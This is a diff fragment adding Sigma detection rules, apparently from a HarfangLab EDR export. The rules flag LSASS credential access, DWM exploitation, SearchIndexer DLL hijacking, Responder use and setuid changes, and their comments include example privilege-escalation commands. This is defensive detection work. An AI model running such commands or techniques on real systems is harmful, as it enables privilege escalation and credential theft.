'?:\\ProgramData\\'\n            - '?:\\PerfLogs\\'\n            - '?:\\temp\\'\n            - '?:\\users\\'\n            - '?:\\\\?Recycle.Bin\\'\n\n    exclusion_no_info:\n        # In case the agent doesn't know the process info.\n        ProcessImphash: '00000000000000000000000000000000'\n\n    # Lot of softwares (including Microsoft owns one) do read the image path off the PEB. (inside _RTL_USER_PROCESS_PARAMETERS)\n    # This is usually to grab the proces list.\n    exclusion_signed_peb_read:\n        ProcessSigned: 'true'\n        GrantedAccess:\n            - '0x1010'\n            - '0x1410'\n    exclusion_waptpython:\n        # WAPT is an open source management tool in python that is unsigned.\n        CallTrace|contains: 'python27.dll'\n        ProcessProcessName: 'waptpython.exe'\n        GrantedAccess: '0x1410'\n    exclusion_trendmicro:\n        # Trend Micro have a lot of different apps.\n        ProcessSignature: 'Trend Micro, Inc.'\n    exclusion_synology:\n        # Some of their software use an have expired certificate.\n        #CallTrace|contains: 'UsbClientService.exe'\n        #ProcessProcessName: 'UsbClientService.exe'\n        # seen versions from 2011 without signature or any internal name, and no usbclientservice.exe occurences in the callstack\n        ProcessImage: '?:\\Program Files (x86)\\Synology\\Assistant\\UsbClientService.exe'\n        #ProcessSignature: 'Synology Inc.'\n        GrantedAccess: '0x1410'\n    exclusion_dell_sre:\n        CallTrace|contains: 'ProcBy.dll'\n        ProcessProcessName: 'SRE.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Sutherland Global Services Inc'\n            - 'Sutherland Global Services Private Limited'\n        GrantedAccess:\n            - '0x1fffff'\n            - '0x12f4d0'\n    exclusion_g:\n        CallTrace|contains: 'nfapi.dll'\n        ProcessProcessName: 'DnsCloudClientHost64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'G DATA Software AG'\n            - 'G DATA CyberDefense AG'\n        GrantedAccess: '0x1f3fff'\n    exclusion_conexant_universal_device_install_uninstall:\n        CallTrace|contains: 'KUIU.EXE'\n        ProcessProcessName: 'KUIU.EXE'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Conexant Systems, Inc.'\n        GrantedAccess: '0x12f4d0'\n    exclusion_rsa_net_witness:\n        CallTrace|contains: 'NWEAgent.exe'\n        ProcessProcessName: 'NWEAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'RSA Security LLC'\n        GrantedAccess: '0x1fffff'\n    exclusion_adobe_arm:\n        ProcessProcessName: 'AdobeARMHelper.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Adobe Systems, Incorporated'\n            - 'Adobe Inc.'\n    exclusion_alibaba_uninstaller:\n        ProcessImage|endswith: '\\Uninstall.exe'\n        ProcessSignature: 'Alibaba (China) Network Technology Co.,Ltd.'\n        GrantedAccess: '0x12f4d0'\n    exclusion_iobit_setup:\n        ProcessSignature: 'IObit CO., LTD'\n        ProcessDescription: 'Setup/Uninstall'\n        GrantedAccess: '0x12f4d0'\n    exclusion_oxalys_tools:\n        ProcessImage|endswith:\n            - '\\OXATOOLS.exe'\n            - '\\oxatools64.exe'\n        ProcessCompany:\n            - 'Oxalys Technologies'\n            - 'Oxalys'\n        ProcessDescription:\n            - 'OXATOOLS'\n            - 'Oxatools 64'\n        ProcessProduct:\n            - 'OXATOOLS'\n            - 'OXATOOLS64'\n        GrantedAccess: '0x1410'\n    exclusion_ossec:\n        CallTrace|contains|all:\n            - 'ossec-agent'\n            - 'ossec-agent.exe'\n        ProcessProcessName: 'ossec-agent.exe'\n        GrantedAccess: '0x1fffff'\n    exclusion_wazuh:\n        - ProcessImage: '?:\\Program Files (x86)\\ossec-agent\\wazuh-agent.exe'\n        - ProcessProcessName: 'ossec-agent.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Wazuh, Inc'\n    exclusion_mcafee:\n        ProcessProcessName:\n            - 'mfeesp.exe'\n            - 'mcshield.exe'\n            - 'mfefw.exe'\n            - 'mfetp.exe'\n            - 'VsTskMgr.exe'\n            - 'Scan64.exe'\n            - 'shstat.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'McAfee, Inc.'\n    exclusion_ocssetup:\n        ProcessProcessName: 'OcsSetup.exe'\n        ProcessDescription: 'OCS Inventory NG Agent'\n    exclusion_cyland_pos_service:\n        ProcessProcessName: 'PosService.exe'\n        ProcessCompany: 'Cylande'\n        GrantedAccess: '0x1410'\n    exclusion_seiko_epson_escsvc64:\n        ProcessProcessName: 'escsvc64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'SEIKO EPSON CORPORATION'\n        GrantedAccess: '0x101410'\n    exclusion_google_update:\n        # for instance, ..C:\\Program Files (x86)\\Google\\Temp\\GUM8660.tmp\\goopdate.dll+16b4e..\n        # to handle chrome installed in user appdata, match only on google\\temp\n        GrantedAccess: '0x1410'\n        CallTrace: '*\\Google\\Temp\\GUM????.tmp\\goopdate.dll*'\n    exclusion_adobe:\n        # C:\\Program Files (x86)\\Adobe\\Adobe Sync\\CoreSync\\customhook\\CoreSyncCustomHook.exe\n        # C:\\Program Files (x86)\\Common Files\\Adobe\\CoreSyncExtension\\customhook\\CoreSyncCustomHook.exe\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Adobe\\Adobe Sync\\CoreSync\\\\*'\n            - '?:\\Program Files (x86)\\Common Files\\Adobe\\CoreSyncExtension\\\\*'\n\n    exclusion_battleeye:\n        ProcessImage: '?:\\Program Files (x86)\\Common Files\\BattlEye\\BEService.exe'\n\n    exclusion_symantec:\n        ProcessImage: '?:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager\\bin\\SysUtil.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Symantec Corporation'\n\n    exclusion_windev_32bits:\n        GrantedAccess: '0x1410'\n        CallTrace|contains|all:\n            # WinDev 26 standard library\n            - 'wd260std.DLL'\n            # WinDev 26 VM\n            - 'wd260vm.DLL'\n\n    exclusion_windev_64bits:\n        GrantedAccess: '0x1410'\n        CallTrace|contains|all:\n            # WinDev 26 standard library\n            - 'wd260std64.DLL'\n            # WinDev 26 VM\n            - 'wd260vm64.DLL'\n\n    exclusion_easeus:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\EaseUS\\Todo Backup\\bin\\TodoBackupService.exe'\n            - '?:\\Program Files (x86)\\EaseUS\\ENS\\ensserver.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'CHENGDU YIWO Tech Development Co., Ltd.'\n\n    exclusion_watchguard:\n        ProcessImage: '?:\\Program Files (x86)\\WatchGuard\\WatchGuard Mobile VPN with SSL\\wgsslvpnsrc.exe'\n        CallTrace|contains: '|?:\\Program Files (x86)\\WatchGuard\\WatchGuard Mobile VPN with SSL\\wgsslvpnsrc.exe'\n\n    exclusion_writedescexecutefilename:\n        # C:\\Windows\\Temp\\{368361DA-CBF9-4A07-90CB-2CFF91E36DCC}\\WriteDescExecuteFileName.exe\n        ProcessImage: '*\\WriteDescExecuteFileName.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Samsung Electronics CO., LTD.'\n        GrantedAccess: '0x153b'\n\n    exclusion_xerox:\n        ProcessImage: '?:\\Xerox\\Docushare\\IDOLServer\\IDOL\\AutonomyIDOLServer.exe'\n        CallTrace|contains: '|?:\\Xerox\\Docushare\\IDOLServer\\IDOL\\AutonomyIDOLServer.exe+'\n        GrantedAccess: '0x1410'\n\n    exclusion_metricbeat:\n        ProcessImage: '?:\\Program Files\\Metricbeat\\metricbeat.exe'\n        ProcessCompany: ''\n        ProcessDescription: ''\n        ProcessProduct: ''\n        CallTrace|contains: '|?:\\Program Files\\Metricbeat\\metricbeat.exe+?????'\n        GrantedAccess: '0x1010'\n\n    exclusion_zabbix:\n        ProcessImage|endswith: '\\zabbix_agentd.exe'\n        CallTrace|endswith:\n          - '\\zabbix_agentd.exe+?????|?:\\Windows\\System32\\kernel32.dll+?????|?:\\Windows\\System32\\ntdll.dll+?????'\n          - '\\zabbix_agentd.exe+?????|?:\\Windows\\System32\\kernel32.dll+????|?:\\Windows\\System32\\ntdll.dll+?????'\n          - '\\zabbix_agentd.exe+?????'\n        GrantedAccess: '0x1410'\n\n    exclusion_oracle_rman:\n        ProcessImage|endswith: '\\app\\product\\\\*\\dbhome\\bin\\rman.exe'\n\n    exclusion_oracle_dll:\n        GrantedAccess: '0x1410'\n        # d:\\oracle\\product\\12.2.0\\client_1\\bin\\orannzsbb12.dll\n        # E:\\oracle\\product\\12.2.0\\cl32\\bin\\orannzsbb12.dll+\n        # E:\\Oracle_client19\\product\\19.0.0\\client_1\\bin\\orannzsbb19.dll\n        CallTrace|contains:\n            - '\\bin\\orannzsbb??.dll'\n            - '\\bin\\oracrf??.dll'\n            - '\\bin\\oracore??.dll'\n\n    exclusion_xampp:\n        # C:\\xampp\\xampp-control.exe\n        # no PE metadata information so we must use the SHA256\n        ProcessSha256: '1400812815452aa93ab1e051b11f8062ace7bc95e50a91cc3479ba64ed847dde'\n\n    exclusion_manageengine:\n        ProcessImage: '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\appctrl\\bin\\VerifyTrustedFiles.exe'\n\n    exclusion_nagios:\n        ProcessImage: '?:\\Program Files (x86)\\Nagios\\NCPA\\ncpa_passive.exe'\n        CallTrace|contains: '|?:\\Program Files (x86)\\Nagios\\NCPA\\python27.dll+'\n\n    exclusion_hewlett_packard:\n        ProcessImage: '?:\\Program Files (x86)\\Hewlett-Packard\\Library and Tape Tools WebGUI\\bin\\DeviceAnalysisService.exe'\n        CallTrace|contains: '|?:\\Program Files (x86)\\Hewlett-Packard\\Library and Tape Tools WebGUI\\bin\\DeviceAnalysisService.exe+'\n\n    exclusion_streaming_runtime:\n        ProcessImage: '?:\\Program Files\\Streaming Runtime Service\\pxr_srs_launcher.exe'\n        CallTrace|contains: '|?:\\Program Files (x86)\\Hewlett-Packard\\Library and Tape Tools WebGUI\\bin\\DeviceAnalysisService.exe+'\n        GrantedAccess: '0x1fffff'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Qingdao Pico Technology Co.,Ltd.'\n\n    exclusion_watchguard_2:\n        ProcessImage: '?:\\WatchGuard\\wgsslvpnsrc.exe'\n        CallTrace|contains: '|?:\\WatchGuard\\wgsslvpnsrc.exe+'\n        GrantedAccess: '0x1f3fff'\n        ProcessSigned: 'true'\n        ProcessSignature: 'WatchGuard Technologies'\n\n    exclusion_moneweb:\n        ProcessImage|endswith: '\\Moneweb\\GoldenGatesrvmweb_??\\mgr.exe'\n        CallTrace|contains: '\\Moneweb\\GoldenGatesrvmweb_??\\mgr.exe+'\n        GrantedAccess: '0x1410'\n\n    exclusion_equitrac:\n        ProcessImage: '?:\\Program Files\\Equitrac\\Shared Services\\Caching\\bin\\sigar_port.exe'\n        CallTrace|contains: '?:\\Program Files\\Equitrac\\Shared Services\\Caching\\bin\\sigar.dll'\n\n    exclusion_mactype:\n        ProcessImage: '?:\\program files\\mactype\\mt64agnt.exe'\n\n    exclusion_svc_mgr_alcatel:\n        ProcessImage: '?:\\8770\\bin\\svc_mgr.exe'\n\n    exclusion_kill_ciril:\n        ProcessImage|endswith:\n            - '\\ciril\\prod\\util_unix\\kill.exe'\n            - '\\ciril\\prod\\util_unix\\pskill.exe'\n            - '\\ciril\\prod\\utilitaires\\expl\\kill_processus.exe'\n            - '\\ciril\\net\\cgi-bin\\document.exe'\n            - '\\ciril\\net\\cgi-bin\\irename.exe'\n            - '\\ciril\\net\\cgi-bin\\lirepjfaccpp.exe'\n\n    exclusion_hardis_saas:\n        ProcessImage: '?:\\hardis\\saas-mgr\\saas-mgr.exe'\n        ProcessGrandparentImage: '?:\\Windows\\system32\\services.exe'\n\n    exclusion_appdynamics:\n        ProcessImage: '?:\\ProgramData\\AppDynamics\\agents\\machineagent\\bin\\MachineAgentService.exe'\n        ProcessGrandparentImage: '?:\\Windows\\system32\\services.exe'\n\n    exclusion_rufus:\n        ProcessProcessName: 'rufus-?.?.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Akeo Consulting'\n        GrantedAccess: '0x1450'\n\n    exclusion_nokia_vitalsuite:\n        ProcessImage|endswith:\n            - '\\VSCommon\\Program\\vnStatusKill.exe'\n            - '\\VitalNet\\Program\\aggrun.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "053fc596-ebe0-4ab6-9d82-691fec399375",
+  "rule_name": "LSASS Accessed by Process Without PE Metadata Information",
+  "rule_description": "Detects the suspicious open of lsass.exe by a process without PE metadata information (original name and internal name).\nThis can be indicative of an attempt to dump LSASS' memory for privilege escalation purposes.\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nIt is recommended to analyze the source process for malicious content, to check its legitimacy and origin and to start memory forensics to determine stolen credentials.\n",
+  "rule_creation_date": "2021-06-07",
+  "rule_modified_date": "2026-02-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0551aa79-1306-43bb-9b6d-df4f7837d107",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596475Z",
+  "creation_date": "2026-03-23T11:45:34.596485Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596500Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/dez_/status/1790807116363481415",
+    "https://securelist.com/cve-2024-30051/112618/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_dwm_launch_process.yml",
+  "content": "title: Suspicious Child Process Launched by DWM.exe\nid: 0551aa79-1306-43bb-9b6d-df4f7837d107\ndescription: |\n    Detects a suspicious process launched by dwm.exe.\n    Adversaries have been observed exploiting vulnerabilities in DWM in order to escalate privileges. As result of a successful exploitation, the DWM.exe process launch a child process with System privileges.\n    It is recommended to check actions made by the newly created process for suspicious activity.\nreferences:\n    - https://x.com/dez_/status/1790807116363481415\n    - https://securelist.com/cve-2024-30051/112618/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2024/07/23\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2024-30051\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\dwm.exe'\n\n    filter_known_children:\n        Image:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\System32\\ISM.exe'\n            - '?:\\Windows\\System32\\dwm.exe'\n            - '?:\\Windows\\System32\\dgcvideo.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0551aa79-1306-43bb-9b6d-df4f7837d107",
+  "rule_name": "Suspicious Child Process Launched by DWM.exe",
+  "rule_description": "Detects a suspicious process launched by dwm.exe.\nAdversaries have been observed exploiting vulnerabilities in DWM in order to escalate privileges. As result of a successful exploitation, the DWM.exe process launch a child process with System privileges.\nIt is recommended to check actions made by the newly created process for suspicious activity.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "05797331-a902-41f3-8dd3-3e0f5cc17d73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595136Z",
+  "creation_date": "2026-03-23T11:45:34.595139Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595147Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/",
+    "https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_searchindexer.yml",
+  "content": "title: DLL Hijacking via SearchIndexer.exe\nid: 05797331-a902-41f3-8dd3-3e0f5cc17d73\ndescription: |\n    Detects potential Windows DLL Hijacking via SearchIndexer.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/\n    - https://redalert.nshc.net/2019/07/25/growth-of-sectorf01-groups-cyber-espionage-activities/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SearchIndexer.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\msftedit.dll'\n            - '\\mstracer.dll'\n            - '\\msfte.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "05797331-a902-41f3-8dd3-3e0f5cc17d73",
+  "rule_name": "DLL Hijacking via SearchIndexer.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SearchIndexer.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "058378a0-6b19-4ce5-86a4-9bd8a453e8ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619415Z",
+  "creation_date": "2026-03-23T11:45:34.619416Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619421Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/SpiderLabs/Responder",
+    "https://github.com/lgandx/Responder",
+    "https://attack.mitre.org/software/S0174/"
+  ],
+  "name": "t1557_001_responder_usage.yml",
+  "content": "title: Responder Executed\nid: 058378a0-6b19-4ce5-86a4-9bd8a453e8ad\ndescription: |\n    Detects Responder, an open source tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.\n    Attackers can use this tool for credential access, privilege escalation and lateral movement.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://github.com/SpiderLabs/Responder\n    - https://github.com/lgandx/Responder\n    - https://attack.mitre.org/software/S0174/\ndate: 2024/09/26\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.collection\n    - attack.t1557.001\n    - attack.discovery\n    - attack.t1040\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.HackTool.Responder\n    - classification.Linux.Behavior.NetworkActivity\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine: 'sh -c */certs/gen-self-signed-cert.sh >/dev/null 2>&1'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "058378a0-6b19-4ce5-86a4-9bd8a453e8ad",
+  "rule_name": "Responder Executed",
+  "rule_description": "Detects Responder, an open source tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.\nAttackers can use this tool for credential access, privilege escalation and lateral movement.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040",
+    "attack.t1557.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "058b2e5d-6e8a-4289-bfb7-96a9cc306c0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.594725Z",
+  "creation_date": "2026-03-23T11:45:34.623356Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623360Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md",
+    "https://attack.mitre.org/techniques/T1548/001/"
+  ],
+  "name": "t1548_001_chmod_setuid_linux.yml",
+  "content": "title: SetUID Access Flag Set via chmod/setcap\nid: 058b2e5d-6e8a-4289-bfb7-96a9cc306c0f\ndescription: |\n    Detects when chmod or setcap are used to set the SetUID bit or capability on a file.\n    This could be used by an attacker to execute a file with a different (and potentially more privileged) user context.\n    It is recommended to analyze the targeted binary as well as the process responsible for the setting change and look for privilege escalation and malicious binaries.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.001/T1548.001.md\n    - https://attack.mitre.org/techniques/T1548/001/\ndate: 2022/09/26\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.001\n    - attack.t1222.002\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Chmod\n    - classification.Linux.Behavior.ConfigChange\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_chmod:\n        # chmod +s /home/user/malicious_script.sh\n        # chmod ug+s /home/user/malicious_script.sh\n        # chmod u+s /home/user/malicious_script.sh\n        # chmod 2644 /home/user/malicious_script.sh\n        # chmod 6644 /home/user/malicious_script.sh\n        Image|endswith: '/chmod'\n        CommandLine|contains:\n            - ' +s'\n            - 'ug+s'\n            - 'u+s'\n            - ' 4??? '\n            - ' 6??? '\n        ParentImage|contains: '?'\n\n    selection_setcap:\n        # setcap cap_setuid=pe /home/user/malicious_script.sh\n        # setcap cap_setuid=e /home/user/malicious_script.sh\n        # setcap cap_setuid=+pie /home/user/malicious_script.sh\n        # setcap cap_net_bind_service,cap_setuid=pe /home/user/malicious_script.sh\n        # setcap cap_setuid,cap_setgid=+pie /home/user/malicious_script.sh\n        Image|endswith: '/setcap'\n        CommandLine|contains: 'cap_setuid'\n        ParentImage|contains: '?'\n\n    exclusion_octal:\n        CommandLine|startswith: 'chmod ??? /'\n\n    exclusion_dpkg:\n        - ParentImage: '/usr/bin/dpkg'\n        - GrandparentImage: '/usr/bin/dpkg'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|'\n\n    exclusion_suexec:\n        CommandLine: 'chmod 4510 /usr/sbin/suexec'\n        ParentCommandLine: '/bin/bash /usr/lib64/plesk-?.?/install_suexec'\n\n    exclusion_virtualbox:\n        CommandLine:\n            - 'chmod 4511 /usr/lib/virtualbox/VBoxVolInfo'\n            - 'chmod 4511 /usr/lib/virtualbox/VBoxNetAdpCtl'\n            - 'chmod 4511 /usr/lib/virtualbox/VBoxNetNAT'\n            - 'chmod 4511 /usr/lib/virtualbox/VBoxNetDHCP'\n            - 'chmod 4511 /usr/lib/virtualbox/VBoxHeadless'\n            - 'chmod 4511 /usr/lib/virtualbox/VirtualBoxVM'\n        ParentCommandLine: '/bin/sh /var/lib/dpkg/info/virtualbox-*.postinst configure*'\n\n    exclusion_yocto_sdk:\n        # chmod o-x,u+s /opt/yocto/yocto-new/build/...\n        # chmod 4755 /opt/yocto/kirkstone/build..\n        # chmod 4111 /opt/yocto/yocto-new/build/tmp...\n        CommandLine: 'chmod * /opt/yocto/*'\n\n    exclusion_vtom:\n        CommandLine:\n            - 'chmod 4755 /opt/vtom/manager/bin/vtmanager'\n            - 'chmod 4755 /opt/vtom/abm/bin/bdaemon'\n\n    exclusion_isa:\n        ParentCommandLine: '/bin/bash /etc/init.d/isa status'\n\n    exclusion_bitdefender:\n        # /bin/sh /var/lib/dpkg/info/bitdefender-security-tools.postinst configure 7.0.5-200090\n        CommandLine: 'chmod +s /opt/bitdefender-security-tools/bin/auctl'\n        ParentCommandLine|startswith: '/bin/sh /var/lib/dpkg/info/bitdefender-security-tools.postinst configure'\n\n    exclusion_nxserver:\n        CommandLine|contains:\n           - ' /etc/nx/nxserver'\n           - ' /usr/nx/scripts'\n        ParentCommandLine|startswith:\n            - '/bin/bash /usr/nx/scripts/setup/nxserver'\n            - 